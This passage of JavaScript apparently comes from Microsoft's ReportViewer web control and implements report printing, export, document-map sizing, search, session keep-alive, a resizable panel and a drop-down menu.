        if (!shouldEnable || !Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.AsyncTriggerSelected)
        {
            var reportAreaElement = $get(this.ReportAreaId);
            if (reportAreaElement && reportAreaElement.control)
                reportAreaElement.control.EnableDisableInput(shouldEnable);
            this._promptSplitter.SetActive(shouldEnable);
            this._docMapSplitter.SetActive(shouldEnable);

            var docMap = $get(this.DocMapAreaId).control;
            if (docMap)
                docMap.SetActive(shouldEnable);
        }

        this.ResizeViewerReportUsingContainingElement(false);
    },

    add_reportContentLoaded: function(handler)
    {
        var reportAreaElement = $get(this.ReportAreaId);
        var reportAreaControl = reportAreaElement.control;
        reportAreaControl.add_reportContentLoaded(handler);
    },

    remove_reportContentLoaded: function(handler)
    {
        var reportAreaElement = $get(this.ReportAreaId);
        var reportAreaControl = reportAreaElement.control;
        reportAreaControl.remove_reportContentLoaded(handler);
    },

    ExportReport: function(format)
    {
        if (this.ExportUrlBase == null)
            return false;

        window.open(this.ExportUrlBase + encodeURIComponent(format), "_blank");
        return true;
    },

    OnPrintLoaded: function()
    {
        this.ReportViewer.Print();
    },

    Print: function()
    {
        var printInfo = this.m_printInfo;
        if (printInfo == null)
            return false;

        var printObjectId = this.ReportViewerId + "_PrintObj";
        var printObj = $get(printObjectId);

        if (printObj && printObj.readyState == 4 /* Complete */)
        {
            if (typeof printObj.Print == "undefined")
            {
                alert(this.UnableToLoadPrintMessage);
                return false;
            }

            printObj.MarginLeft = printInfo.MarginLeft;
            printObj.MarginTop = printInfo.MarginTop;
            printObj.MarginRight = printInfo.MarginRight;
            printObj.MarginBottom = printInfo.MarginBottom;

            printObj.PageHeight = printInfo.PageHeight;
            printObj.PageWidth = printInfo.PageWidth;

            printObj.Culture = printInfo.Culture;
            printObj.UICulture = printInfo.UICulture;

            printObj.UseSingleRequest = printInfo.UseSingleRequest;
            printObj.UseEmfPlus = true;

            printObj.Print(printInfo.PrintRequestPath, printInfo.PrintRequestQuery, printInfo.ReportDisplayName);
            return true;
        }
        return false;
    },

    PrintDialog: function()
    {
        var printInfo = this.m_printInfo;
        if (printInfo == null)
            return false;

        var printObjectId = this.ReportViewerId + "_PrintObj";

        // Load the print control if it hasn't happened already
        var printObj = $get(printObjectId);
        if (printObj == null)
        {
            printObj = document.createElement("OBJECT");
            printObj.id = printObjectId;
            printObj.onreadystatechange = this.OnPrintLoaded;
            printObj.style.display = "none";
            printObj.ReportViewer = this;
            // Codebase must be before classid in order to download the control
            printObj.codeBase = printInfo.CabUrl;
            printObj.setAttribute("VIEWASTEXT", "");

            //Element must be added before printing occurs as the event can fire before this is added to the window.
            var reportViewer = $get(this.ReportViewerId);
            reportViewer.appendChild(printObj);

            printObj.classid = "CLSID:" + printInfo.CabClsid;
            return true;
        }
        else
        {
            return this.Print();
        }
    },

    SetPromptAreaVisibility: function(makeVisible)
    {
        var parametersRow = $get(this.PromptAreaRowId);
        if (parametersRow == null)
            return;
        _$RVCommon.SetElementVisibility(parametersRow, makeVisible);
        this._promptSplitter._setCollapsed(!makeVisible);
        this.raisePropertyChanged("promptAreaCollapsed");
        this.ResizeViewerReportUsingContainingElement(true);
    },

    ArePromptsVisible: function()
    {
        return !this._promptSplitter._getCollapsed();
    },

    GetDocMapCells: function()
    {
        if (!this._docMapCells)
        {
            var fixedTable = $get(this.FixedTableId);
            this._docMapCells = {
                docMapHeadCell: this.HasSizingRow ? fixedTable.rows.item(0).cells.item(0) : null,
                splitterDocMapHeadCell: this.HasSizingRow ? fixedTable.rows.item(0).cells.item(1) : null,
                docMapCell: fixedTable.rows.item(this.HasSizingRow ? 4 : 3).cells.item(0),
                splitterDocMapCell: fixedTable.rows.item(this.HasSizingRow ? 4 : 3).cells.item(1),
                reportArea: $get(this.ReportAreaId),
                fixedTable: fixedTable,
                hasNodes: false,
                docMapTitleRow: null,
                docMapTitleCell: null,
                docMapContainerCell: null,
                docMapContainer: null,
                docMapTree: null
            }
            if (this.DocMapAreaId != null)
            {
                var docMapArea = $get(this.DocMapAreaId);
                if (docMapArea)
                {
                    var docMapTables = docMapArea.getElementsByTagName("table");
                    if (docMapTables.length > 0)
                    {
                        this._docMapCells.docMapTitleRow = docMapArea.getElementsByTagName("table")[0].rows.item(0);
                        this._docMapCells.docMapTitleCell = this._docMapCells.docMapTitleRow.cells.item(0);
                        this._docMapCells.docMapContainerCell = docMapArea.getElementsByTagName("table")[0].rows.item(1).cells.item(0);
                        this._docMapCells.docMapContainer = this._docMapCells.docMapContainerCell.getElementsByTagName("div")[0];
                        this._docMapCells.docMapTree = this._docMapCells.docMapContainer.getElementsByTagName("div")[0];
                        this._docMapCells.hasNodes = true;
                    }
                }
            }
        }
        return this._docMapCells;
    },

    //Changes the visibility of the DocMap to 'makeVisible'
    //Call this when you want to 'expand/collapse' the DocMap area
    SetDocMapAreaVisibility: function(makeVisible)
    {
        var docMapCells = this.GetDocMapCells();
        if (docMapCells.hasNodes)
        {
            this._docMapSplitter._setCollapsed(!makeVisible);
            this.raisePropertyChanged("documentMapCollapsed");
        }
        this._UpdateDocMapAreaUIVisibility();
    },

    //NOT INTENDED FOR PUBLIC USE.  Call SetDocMapAreaVisibility to set the DocMap Visibility
    //This updates the HTML DOM to collapse or show the DocMapArea
    //Call this when the visiblity on the DocMap has changed so the sizing can be correctly calculated.
    //'hideEverything' == true, causes the entire DocMap UI to be 'display:none' rather than 0px wide.  
    //This is necessary for resize calculations.  IE6 and 7 standards mode need to use 0px wide drawing, so the table cells
    //in the same TR are correctly calculated (extra 1px appears on the right-hand-side)
    _UpdateDocMapAreaUIVisibility: function(hideEverything)
    {
        var docMapCells = this.GetDocMapCells();

        var makeVisible = false;
        if (!hideEverything)
            makeVisible = !this._docMapSplitter._getCollapsed() && docMapCells.hasNodes;

        var isVisible = makeVisible;
        if (!hideEverything)
        {
            // Use 0px wide to show everything rather than hiding the DocMap, if there are any doc map nodes
            makeVisible = docMapCells.hasNodes;
        }

        // Document map visibility
        if (docMapCells.docMapHeadCell)
        {
            _$RVCommon.SetElementVisibility(docMapCells.docMapHeadCell, makeVisible);
        }
        _$RVCommon.SetElementVisibility(docMapCells.docMapCell, makeVisible);

        // Splitter visibility
        if (this._docMapSplitter._getCollapsable() || makeVisible)
        {
            if (docMapCells.splitterDocMapHeadCell)
                _$RVCommon.SetElementVisibility(docMapCells.splitterDocMapHeadCell, docMapCells.hasNodes);
            _$RVCommon.SetElementVisibility(docMapCells.splitterDocMapCell, docMapCells.hasNodes);
        }

        if (!hideEverything)
        {
            var size = 0;
            if (isVisible)
            {
                //If the DocMap is visible, use the splitter size to set sizing.
                size = this._docMapSplitter._getSize();
                if (isNaN(size))
                {
                    //If not calculated, ask the UI for the current size available (won't be from a previous call)
                    size = docMapCells.docMapCell.style.width;
                }
            }
            this._UpdateDocMapAreaUIWidth(size);
        }
    },

    AreDocMapAreaVisible: function()
    {
        return !this._docMapSplitter._getCollapsed();
    },

    OnPromptSplitterCollapsing: function(sender, args)
    {
        this.SetPromptAreaVisibility(!args.get_collapse())
    },

    OnDocMapSplitterCollapsing: function(sender, args)
    {
        this.SetDocMapAreaVisibility(!args.get_collapse());
    },

    //NOT INTENDED FOR PUBLIC USE.  Call SetDocMapAreaWidth to set or resize the DocMap Width
    //This validates the 'size' is an allowable DocMapArea Width
    //Call this to verify the DocMap Width can be 'size' 
    _ValidateDocMapAreaWidth: function(size)
    {
        // If no sizing row, viewer is set to SizeToReportContent.  Shouldn't need to dynamically adjust
        // any sub areas of the viewer.
        if (!this.HasSizingRow)
            return false;

        var docMapCells = this.GetDocMapCells();
        if (docMapCells.hasNodes)
        {
            if (size >= 0)
            {
                if (docMapCells.reportArea)
                {
                    var allowedWidth = docMapCells.fixedTable.clientWidth;
                    allowedWidth -= this._docMapSplitter.get_element().parentNode.clientWidth;
                    allowedWidth -= (docMapCells.reportArea.offsetWidth - docMapCells.reportArea.clientWidth);
                    if (size > allowedWidth)
                    // cannot resize
                        return false;
                }
            }
            return true;
        }
        return false;
    },

    //Set the DocMapArea to be 'size' wide.
    //The UI will be resized to fit.
    //Call this when you need to programmatically change the DocMap Width (e.g. resizing)
    SetDocMapAreaWidth: function(size)
    {
        if (this._ValidateDocMapAreaWidth(size))
        {
            if (size >= 0)
            {
                this._docMapSplitter._setSize(size);
            }
            this._UpdateDocMapAreaUIWidth(size);
        }
    },

    //NOT INTENDED FOR PUBLIC USE.  Call SetDocMapAreaWidth to set the DocMap Width
    //This updates the HTML DOM to display the desired DocMapArea Width
    //Call this when sizings change and the DocMap needs to calculate it's width
    _UpdateDocMapAreaUIWidth: function(size)
    {
        // If no sizing row, viewer is set to SizeToReportContent.  Shouldn't need to dynamically adjust
        // any sub areas of the viewer.
        if (!this._ValidateDocMapAreaWidth(size))
            return;

        var docMapCells = this.GetDocMapCells();
        if (docMapCells.hasNodes)
        {
            var sizeStr = size + "px";
            if (isNaN(size))
                sizeStr = size;

            if (size || size == 0) //If size is not null or equals zero, calculate this.  Number.NaN fails this.
            {
                if (docMapCells.docMapHeadCell)
                {
                    docMapCells.docMapHeadCell.style.width = sizeStr;
                }
                else
                {
                    docMapCells.docMapCell.style.width = sizeStr;
                }
            }

            // Set the cell width which contains the treeview even if size is NaN.
            // Size NaN happens when there is no previous resizing (or postaback cached) by the splitter. 
            // In this case the size is determined by the server rendering.  If not set, doc map content
            // can extend beyond the splitter in some browsers.
            docMapCells.docMapContainerCell.style.width = docMapCells.docMapCell.clientWidth + "px";
            docMapCells.docMapContainer.style.width = docMapCells.docMapCell.clientWidth + "px";
            $get(this.DocMapHeaderOverflowDivId).style.width = docMapCells.docMapCell.clientWidth + "px";
        }
    },

    SetDocMapAreaHeight: function(reportAreaHeight)
    {
        if (this.DocMapAreaId != null)
        {
            var docMapCells = this.GetDocMapCells();

            // Navigate down the DOM to find the document map header and document map content. 
            // Then set the height accordingly.
            if (docMapCells.docMapContainerCell != null)
            {
                var docMapContentTd = docMapCells.docMapContainerCell;
                var docMapTitleHeight = docMapCells.docMapTitleCell.scrollHeight;

                if ((reportAreaHeight - docMapTitleHeight) > 0)
                {
                    var sizingElement = docMapContentTd.firstChild;

                    if (docMapContentTd.getAttribute("HEIGHT") && !_$RVCommon.isQuirksMode())
                    {
                        //Remove the HEIGHT attribute from the TD and parent TR -- Necessary for standards mode (Safari)
                        docMapContentTd.removeAttribute("HEIGHT");
                        //TR
                        docMapContentTd.parentNode.removeAttribute("HEIGHT");
                    }

                    sizingElement.style.height = (reportAreaHeight - docMapTitleHeight) + "px";
                }
            }
        }
    },

    OnDocMapSplitterResizing: function(sender, args)
    {
        var docMapCells = this.GetDocMapCells();
        if (docMapCells.hasNodes)
        {
            this.SetDocMapAreaWidth(docMapCells.docMapCell.clientWidth + args.get_delta());
        }
    },

    Find: function(textToFind)
    {
        if (typeof textToFind != "string" || textToFind.length == 0)
            return;

        this.InvokeInteractivityPostBack("Find", textToFind);
    },

    // Returns true if the action was entirely handled on the client, false if a postback was required.
    FindNext: function()
    {
        var reportObject = this.GetReportAreaObject();

        // Everything gets hooked up by the load event.  But be safe in case someone
        // calls this too early.
        if (reportObject == null)
            return true;

        // Try to handle the search on the client (next hit is on current page)
        if (reportObject.HighlightNextSearchHit())
            return true;

        // Need to post back to get the page with the next hit
        this.InvokeInteractivityPostBack("FindNext", null);
        return false;
    },

    get_zoomLevel: function()
    {
        var reportObject = this.GetReportAreaObject();
        if (reportObject == null)
            return 100;
        return reportObject.get_zoomLevel();
    },

    set_zoomLevel: function(zoomValue)
    {
        var reportObject = this.GetReportAreaObject();
        if (reportObject == null)
            return;
        reportObject.set_zoomLevel(zoomValue);
    },

    RefreshReport: function()
    {
        this.InvokeInteractivityPostBack("Refresh", null);
    },

    get_reportAreaContentType: function()
    {
        var reportAreaObject = this.GetReportAreaObject();
        if (reportAreaObject == null)
            return Microsoft.Reporting.WebFormsClient.ReportAreaContent.None;
        return reportAreaObject.get_contentType();
    },

    OnUserCanceled: function(value)
    {
        var reportArea = $find(this.ReportAreaId);
        reportArea._OnUserCanceled();

        this.EnableDisableInput(true);
    },

    GetDirection: function()
    {
        // Cache the current direction so the server can keep track
        var directionField = $get(this.DirectionCacheId);

        var viewer = $get(this.ReportViewerId);
        directionField.value = Microsoft.Reporting.WebFormsClient._InternalReportViewer.GetRTLDirection(viewer);
        return directionField.value;
    },

    GetToolBarUpdate: function()
    {
        return this.m_toolBarUpdate;
    },

    GetReportAreaObject: function()
    {
        var reportElement = $get(this.ReportAreaId);
        if (reportElement != null)
            return reportElement.control;
        else
            return null;
    },

    GetPageRequestManager: function()
    {
        if (Sys.WebForms)
            return Sys.WebForms.PageRequestManager.getInstance();
        else
            return null;
    },

    InvokeInteractivityPostBack: function(actionType, actionParam)
    {
        $get(this.ActionTypeId).value = actionType;
        $get(this.ActionParamId).value = actionParam;
        this.PostBackToClientScript();
    },

    UpdateBrowserMode: function()
    {
        var browserModeId = this.BrowserModeId;
        if (browserModeId)
        {
            var browserModeField = $get(browserModeId);
            browserModeField.value = _$RVCommon.isQuirksMode() ? "quirks" : "standards";
        }
    }
}

Microsoft.Reporting.WebFormsClient._InternalReportViewer.registerClass("Microsoft.Reporting.WebFormsClient._InternalReportViewer", Sys.UI.Control);

Microsoft.Reporting.WebFormsClient._InternalReportViewer.GetRTLDirection = function(element)
{
    // Retrieve the cascaded direction attribute/style.
    // The currentStyle property is supported by IE.
    // Other browsers (Firefox, Safari) must use the
    // getComputedStyle method.
    if (element.currentStyle != null)
        return element.currentStyle.direction;
    else if (window.getComputedStyle != null)
    {
        var cs = window.getComputedStyle(element, null);
        return cs.getPropertyValue('direction');
    }
    return 'ltr';
}
Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._SessionKeepAlive = function()
{
    Microsoft.Reporting.WebFormsClient._SessionKeepAlive.initializeBase(this);

    this.KeepAliveUrl = null;
    this.KeepAliveBody = null;
    this.KeepAliveIntervalSeconds = 0;

    this.m_keepAliveTimerId = null;
    this.m_executingKeepAlive = null;

    this.m_isInitialized = false;

    this.m_onTimerIntervalDelegate = Function.createDelegate(this, this.KeepSessionsAlive);
    this.m_onKeepAliveRequestCompletedDelegate = Function.createDelegate(this, this.OnKeepAliveRequestCompleted);

    this.m_onAppLoadDelegate = Function.createDelegate(this, this.OnAppLoad);
}

Microsoft.Reporting.WebFormsClient._SessionKeepAlive.prototype =
{
    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient._SessionKeepAlive.callBaseMethod(this, "initialize");

        // Need to wait until app load to avoid async calls colliding with async postback
        Sys.Application.add_load(this.m_onAppLoadDelegate);
    },

    dispose: function()
    {
        this.CancelKeepAliveTimer();

        if (this.m_executingKeepAlive != null)
            this.m_executingKeepAlive.abort();

        delete this.m_onTimerIntervalDelegate;
        this.m_onTimerIntervalDelegate = null;

        delete this.m_onKeepAliveRequestCompletedDelegate;
        this.m_onKeepAliveRequestCompletedDelegate = null;

        Sys.Application.remove_load(this.m_onAppLoadDelegate);
        delete this.m_onAppLoadDelegate;
        this.m_onAppLoadDelegate = null;

        Microsoft.Reporting.WebFormsClient._SessionKeepAlive.callBaseMethod(this, "dispose");
    },

    OnAppLoad: function()
    {
        if (this.m_isInitialized)
            return;

        if (this.KeepAliveIntervalSeconds != 0)
        {
            this.KeepSessionsAlive();
            this.m_keepAliveTimerId = setInterval(this.m_onTimerIntervalDelegate, this.KeepAliveIntervalSeconds * 1000);
        }

        this.m_isInitialized = true;
    },

    KeepSessionsAlive: function()
    {
        // Don't ping twice simultaneously
        if (this.m_executingKeepAlive != null)
            return;

        var webRequest = new Sys.Net.WebRequest();
        webRequest.set_url(this.KeepAliveUrl);
        webRequest.set_httpVerb("POST");
        if (this.KeepAliveBody != null)
        {
            webRequest.set_body(this.KeepAliveBody);
            // WebKit doesn't allow to set Content-Length explicitly due security reasons.
            // Content lenght will be determined and set based on actual body length.
            if ( Sys.Browser.agent != Sys.Browser.Safari )
            {
                webRequest.get_headers()["Content-Length"] = this.KeepAliveBody.length;
            }
        }
        webRequest.add_completed(this.m_onKeepAliveRequestCompletedDelegate);

        webRequest.invoke();
        this.m_executingKeepAlive = webRequest.get_executor();
    },

    OnKeepAliveRequestCompleted: function(executor, eventArgs)
    {
        this.m_executingKeepAlive = null;

        if (executor.get_timedOut() || (executor.get_responseAvailable() && executor.get_statusCode() != 200))
        {
            this.CancelKeepAliveTimer();
        }
    },

    CancelKeepAliveTimer: function()
    {
        if (this.m_keepAliveTimerId != null)
        {
            clearTimeout(this.m_keepAliveTimerId);
            this.m_keepAliveTimerId = null;
        }
    }
}

Microsoft.Reporting.WebFormsClient._SessionKeepAlive.registerClass("Microsoft.Reporting.WebFormsClient._SessionKeepAlive", Sys.Component);
8Type.registerNamespace('Microsoft.Reporting.WebFormsClient');

Microsoft.Reporting.WebFormsClient.ResizableControlBehavior = function(element)
{
    Microsoft.Reporting.WebFormsClient.ResizableControlBehavior.initializeBase(this, [element]);

    this.MinimumWidth = 0;
    this.MinimumHeight = 0;
    this.MaximumWidth = 100000;
    this.MaximumHeight = 100000;
    this.GripImage = null;
    this.GripImageRTL = null;
    this.Overflow = "auto";
    // Variables
    this._ctrl = null;
    this._frame = null;
    this._handle = null;
    this._tracking = false;
    this._lastClientX = 0;
    this._lastClientY = 0;
    this._leftOffset = 0;
    // Delegates
    this._onmousedownDelegate = null;
    this._onmousemoveDelegate = null;
    this._onmouseupDelegate = null;
    this._onselectstartDelegate = null;
    this._invalidateDelegate = null;
    this._tracking = false;
}

Microsoft.Reporting.WebFormsClient.ResizableControlBehavior.prototype = {
    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient.ResizableControlBehavior.callBaseMethod(this, 'initialize');

        this._ctrl = this.get_element();

        this._ctrlLeft = parseInt(this._ctrl.style.left);

        // the frame will contain the control children and will be resizable
        this._frameContainer = document.createElement("span");
        this._frameContainer.style.cssText = "margin: 0px; pading: 0px; background-color: window;";
        this._frame = document.createElement('DIV');
        this._frame.style.overflow = this.Overflow;
        this._ctrl.style.overflow = 'visible';
        this._moveChildren(this._ctrl, this._frame)
        this._frameContainer.appendChild(this._frame);
        this._ctrl.appendChild(this._frameContainer);
        this._frame.style.width = this.MinimumWidth + "px";
        this._frame.style.height = this.MinimumHeight + "px";

        this._gripImageHolder = document.createElement('DIV');
        this._gripImageHolder.style.cssText = "height:16px; width: 100%; pading: 0px; margin: 0px; border-top: solid 1px lightgray; background-color: window;";
        this._frameContainer.appendChild(this._gripImageHolder);

        this._gripImage = document.createElement('IMG');
        this._gripImage.style.display = "none"
        this._gripImageHolder.appendChild(this._gripImage);

        this._onmousedownDelegate = Function.createDelegate(this, this._onmousedown);
        $addHandler(this._gripImage, 'mousedown', this._onmousedownDelegate);
        this._onmousemoveDelegate = Function.createDelegate(this, this._onmousemove);
        this._onmouseupDelegate = Function.createDelegate(this, this._onmouseup);
        this._onselectstartDelegate = Function.createDelegate(this, this._onselectstart);

        // In some browsers (ex.IE quirks mode) this._frame, as brand new item in the DOM, doesn't have offsetXXX calculated yet.
        // OffsetXXX is used in resizing function. We have to call resizeControl out of the thread once to set initial minimum size.
        this._invalidateDelegate = Function.createDelegate(this, this._reset);
        window.setTimeout(this._invalidateDelegate, 0);

    },

    _reset: function()
    {

        var windowRect = _$RVCommon.windowRect()
        var isRtl = this._isRTL(this._ctrl);
        var left = this._ctrlLeft;

        // flip the grip on if the space is less than  this.MinimumWidth
        if ((Sys.Browser.agent == Sys.Browser.InternetExplorer) && this._isRTL(_$RVCommon.getDocument()))
        {
            // IE flips the coord system.
            left = this._ctrlLeft + (windowRect.scrollWidth - windowRect.left - windowRect.width)
        }

        var noSpaceLeft = ((left - this.MinimumWidth) < windowRect.left);
        var noSpaceRight = ((left + this.MinimumWidth * 2) > windowRect.right);

        // if there is no space on both sides or there is enough space on both sides - keep the rtl settings.
        if ((noSpaceLeft && noSpaceRight) || (!noSpaceLeft && !noSpaceRight))
            this._gripImageHolder.style.direction = isRtl ? "rtl" : "ltr";
        else if (isRtl && noSpaceLeft)
            this._gripImageHolder.style.direction = "ltr";
        else if (!isRtl && noSpaceRight)
            this._gripImageHolder.style.direction = "rtl";
        else
            this._gripImageHolder.style.direction = isRtl ? "rtl" : "ltr";

        this._setRtlCues();
        this.set_Size({ width: this.MinimumWidth, height: this.MinimumHeight });

        if (this._frame.childNodes[0].focus)
            this._frame.childNodes[0].focus();
        
    },

    _setRtlCues: function()
    {
        var rtl = this._isRTL();
        // for IE
        this._gripImage.style.styleFloat = (rtl ? "left" : "right");
        // for other browsers
        this._gripImage.style.cssFloat = (rtl ? "left" : "right");
        if (_$RVCommon.isIEQuirksMode())
        {
            // IE in quirks mode due float position shifts the image with 3px.
            if (rtl)
                this._gripImage.style.marginLeft = "-3px";
            else
                this._gripImage.style.marginRight = "-3px";
        }
        this._gripImage.style.cursor = (rtl ? "ne-resize" : "se-resize")
        this._gripImage.src = (rtl ? this.GripImageRTL : this.GripImage);
        if (this._gripImage.style.display == "none")
        {
            this._gripImage.style.display = "";
        }
    },

    dispose: function()
    {
        if (this._onmousedownDelegate)
        {
            $removeHandler(this._gripImage, 'mousedown', this._onmousedownDelegate);
            delete this._onmousedownDelegate;
            this._onmousedownDelegate = null;
        }

        if (this._tracking)
        {
            this._onmouseup();
            delete this._onmousemoveDelegate;
            this._onmousemoveDelegate = null;
            delete this._onmouseupDelegate;
            this._onmouseupDelegate = null;
            delete this._onselectstartDelegate;
            this._onselectstartDelegate = null;
        }

        if (this._frame)
        {
            this._ctrl.removeChild(this._frameContainer);
            this._moveChildren(this._frame, this._ctrl)
            this._frame = null;
        }

        if (this._invalidateDelegate)
        {
            delete this._invalidateDelegate;
            this._invalidateDelegate = null;
        }

        Microsoft.Reporting.WebFormsClient.ResizableControlBehavior.callBaseMethod(this, 'dispose');
    },

    _moveChildren: function(fromElement, toElement)
    {
        while (fromElement.childNodes.length > 0)
        {
            var child = fromElement.childNodes[0];
            fromElement.removeChild(child);
            toElement.appendChild(child)
        }
    },

    _onmousedown: function(e)
    {
        this._tracking = true;
        this._lastClientX = e.clientX;
        this._lastClientY = e.clientY;
        var t = this._getMouseObjects();
        $addHandler(t.target, 'mousemove', this._onmousemoveDelegate);
        $addHandler(t.target, 'mouseup', this._onmouseupDelegate);
        $addHandler(t.target, 'selectstart', this._onselectstartDelegate);
        if (t.isIE)
            t.target.setCapture();

        e.preventDefault();
        return false;
    },

    _onmousemove: function(e)
    {
        if (this._tracking)
        {
            var deltaX = (e.clientX - this._lastClientX);
            var deltaY = (e.clientY - this._lastClientY);
            this._resizeControl(deltaX, deltaY);
            this._lastClientX = e.clientX;
            this._lastClientY = e.clientY;
        }
        e.preventDefault();
        return false;
    },

    _onmouseup: function(e)
    {
        this._tracking = false;
        this._shadowSize = null;
        var t = this._getMouseObjects();
        $removeHandler(t.target, 'mousemove', this._onmousemoveDelegate);
        $removeHandler(t.target, 'mouseup', this._onmouseupDelegate);
        $removeHandler(t.target, 'selectstart', this._onselectstartDelegate);
        if (t.isIE)
            t.target.releaseCapture();
        if (e) e.preventDefault();
        return false;
    },
    _getMouseObjects: function()
    {
        if (!this._mouseTrackingObject)
        {
            var element = this._ctrl;
            this._mouseTrackingObject =
            {
                isIE: Sys.Browser.agent == Sys.Browser.InternetExplorer,
                target: Sys.Browser.agent == Sys.Browser.InternetExplorer ? element : _$RVCommon.getWindow()
            }
        }
        return this._mouseTrackingObject;
    },
    _onselectstart: function(e)
    {
        e.preventDefault();
        return false;
    },

    _resizeControl: function(deltaX, deltaY)
    {
        if (this._frame)
        {
            if (this._isRTL())
            {
                deltaX = deltaX * -1;
            }

            if (!this._shadowSize)
            {
                this._shadowSize = this.get_Size();
            }

            // Calculate new frame width/height
            var currentSize = this._shadowSize;

            var newWidth = Math.min(Math.max(currentSize.width + deltaX, Math.max(this.MinimumWidth, 16)), this.MaximumWidth);
            var newHeight = Math.min(Math.max(currentSize.height + deltaY, Math.max(this.MinimumHeight, 16)), this.MaximumHeight);
            this._shadowSize = { width: newWidth, height: newHeight };

            var windowRect = _$RVCommon.windowRect()
            var adornerHeight = this._gripImageHolder.offsetHeight;
            // limitMaxTolerance is the number in pixels which decreases the calculated width and height, 
            // otherwise the scrollbars will appear before reaching the limit. 
            var limitMaxTolerance = Sys.Browser.agent == Sys.Browser.InternetExplorer ? 2 : 1;
            var limitWidth = windowRect.right - this._ctrl.offsetLeft - limitMaxTolerance;
            var limitHeight = windowRect.bottom - this._ctrl.offsetTop - limitMaxTolerance - adornerHeight;

            if (this._isRTL())
            {
                if (Sys.Browser.agent == Sys.Browser.InternetExplorer && this._isRTL(_$RVCommon.getDocument()))
                {
                    // IE reverse the coordinate system in RTL;
                    limitWidth = this._ctrlLeft + this.MinimumWidth + (windowRect.scrollWidth - windowRect.left - windowRect.width);
                }
                else
                {
                    limitWidth = this._ctrlLeft + this.MinimumWidth - windowRect.left;
                }
            }

            var newWidth = Math.min(newWidth, limitWidth);
            var newHeight = Math.min(newHeight, limitHeight);

            this._frame.style.width = newWidth + 'px';
            this._frame.style.height = newHeight + 'px';

            // for IE quirs mode the size of the control have to be set explicitly
            // and border have to be taken in account because IE box model.
            if (_$RVCommon.isIEQuirksMode())
            {
                var border = (parseInt(this._ctrl.style.borderWidth) || 0) * 2;
                this._ctrl.style.width = (newWidth + border) + 'px';
                this._ctrl.style.height = (newHeight + adornerHeight + border) + 'px';
            }
            else
            {
                if (Sys.Browser.agent == Sys.Browser.InternetExplorer)
                {
                    // For IE strict mode we have to set all sizes explicitly.
                    this._frameContainer.style.width = newWidth + "px";
                    this._frameContainer.style.height = newHeight + "px";
                    this._ctrl.style.width = newWidth + "px";
                    this._ctrl.style.height = (newHeight + adornerHeight) + "px";
                }
                else
                {
                    // The this._ctrl, as outer container, should be resized automatically 
                    // to its content (this._frame) if width and height is not set.
                    this._frameContainer.style.width = "";
                    this._frameContainer.style.height = "";
                    this._ctrl.style.width = "";
                    this._ctrl.style.height = "";
                }

            }
            if (this._isRTL())
            {
                this._leftOffset = -(newWidth - this.MinimumWidth);
                this._ctrl.style.left = ((isNaN(this._ctrlLeft) ? 0 : this._ctrlLeft) + this._leftOffset) + 'px'
            }
            this.raiseResizing();
        }
    },
    add_resizing: function(handler)
    {
        this.get_events().addHandler('resizing', handler);
    },
    remove_resizing: function(handler)
    {
        this.get_events().removeHandler('resizing', handler);
    },
    raiseResizing: function()
    {
        var onResizingHandler = this.get_events().getHandler('resizing');
        if (onResizingHandler)
        {
            onResizingHandler(this, Sys.EventArgs.Empty);
        }
    },
    get_Size: function()
    {
        if (this._frame)
        {
            return { width: parseInt(this._frame.style.width), height: parseInt(this._frame.style.height), fullHeight: parseInt(this._frame.style.height) + this._gripImageHolder.offsetHeight }
        }
        return { width: 0, height: 0 };
    },

    set_Size: function(value)
    {
        var size = this.get_Size();
        var deltaX = value.width - size.width;
        var deltaY = value.height - size.height;
        if (this._isRTL())
        {
            deltaX = deltaX * -1;
        }
        this._resizeControl(deltaX, deltaY);
        this.raisePropertyChanged('Size');
    },
    _isRTL: function(control)
    {
        if (!control)
        {
            control = this._gripImageHolder;
        }
        return _$RVCommon.getComputedStyle(control,"direction") != "ltr";
    }
}


Microsoft.Reporting.WebFormsClient.ResizableControlBehavior.registerClass('Microsoft.Reporting.WebFormsClient.ResizableControlBehavior', Sys.UI.Behavior);
1Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._DropDownMenu = function(element)
{
    Microsoft.Reporting.WebFormsClient._DropDownMenu.initializeBase(this, [element]);
    this.NormalStyles = null;
    this.HoverStyles = null;
    this.ButtonId = null;
    this.MenuId = null;
    this.ButtonImages = null;
    this.ArrowImages = null;
    this._Enabled = false;

    this._hideMenuDelegate = Function.createDelegate(this, this._hideMenu)
    this._keyDownDelegate = Function.createDelegate(this, this._onMenuKeyDown)

    this._button = null;
    this._buttonLink = null;
    this._menu = null;
    this._adorner = null;
    this._menuItemElements = null;
    this._selectedItem = null;
    this._ButtonImages = null;
    this._ArrowImages = null;
}

Microsoft.Reporting.WebFormsClient._DropDownMenu.prototype = {

    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient._DropDownMenu.callBaseMethod(this, 'initialize');
        var element = this.get_element();
        this._button = $get(this.ButtonId);
        this._menu = $get(this.MenuId);
        $addHandlers(this._button,
            { "mouseover": this._onButtonMouseOver,
                "mouseout": this._onButtonMouseOut,
                "click": this._onButtonClick
            },
            this);
        // initialize button style
        _$RVCommon.setButtonStyle(this._button.parentNode, this._normalStyles, "default");


        // The only hyperlink in the button can accept and handles the keyboard.
        this._buttonLink = $get(this.ButtonId + "Link");
        $addHandlers(this._buttonLink, { "click": this._onButtonClick, keydown: this._onButtonKeyDown }, this);

        this._adorner = document.createElement("div");
        this._adorner.style.position = "absolute";
        this._adorner.style.zIndex = -1;
        this._adorner.style.top = "0px"
        this._adorner.style.left = "0px";
        this._adorner.style.width = "26px";
        this._adorner.style.opacity = "0.05";
        this._adorner.style.filter = 'alpha(opacity=5)';

        this._adorner.style.backgroundColor = "black";
        this._menu.appendChild(this._adorner);

        // initialize menu style
        var elements = this._menu.getElementsByTagName("a");
        this._menuItemElements = new Array();
        this._selectedItem = null;
        if (elements.length > 0)
        {
            var isRtl = this._isRTL();
            for (var index = 0; index < elements.length; index++)
            {
                $addHandlers(elements[index],
                { "mouseover": this._onMenuItemMouseOver,
                    "focus": this._onMenuItemMouseOver,
                    "click": this._onMenuItemClick
                },
                this);
                if (!isRtl)
                {
                    elements[index].style.paddingLeft = "32px";
                }
                else
                {
                    elements[index].style.paddingRight = "32px";
                }
                this._menuItemElements[this._menuItemElements.length] = elements[index];
            }
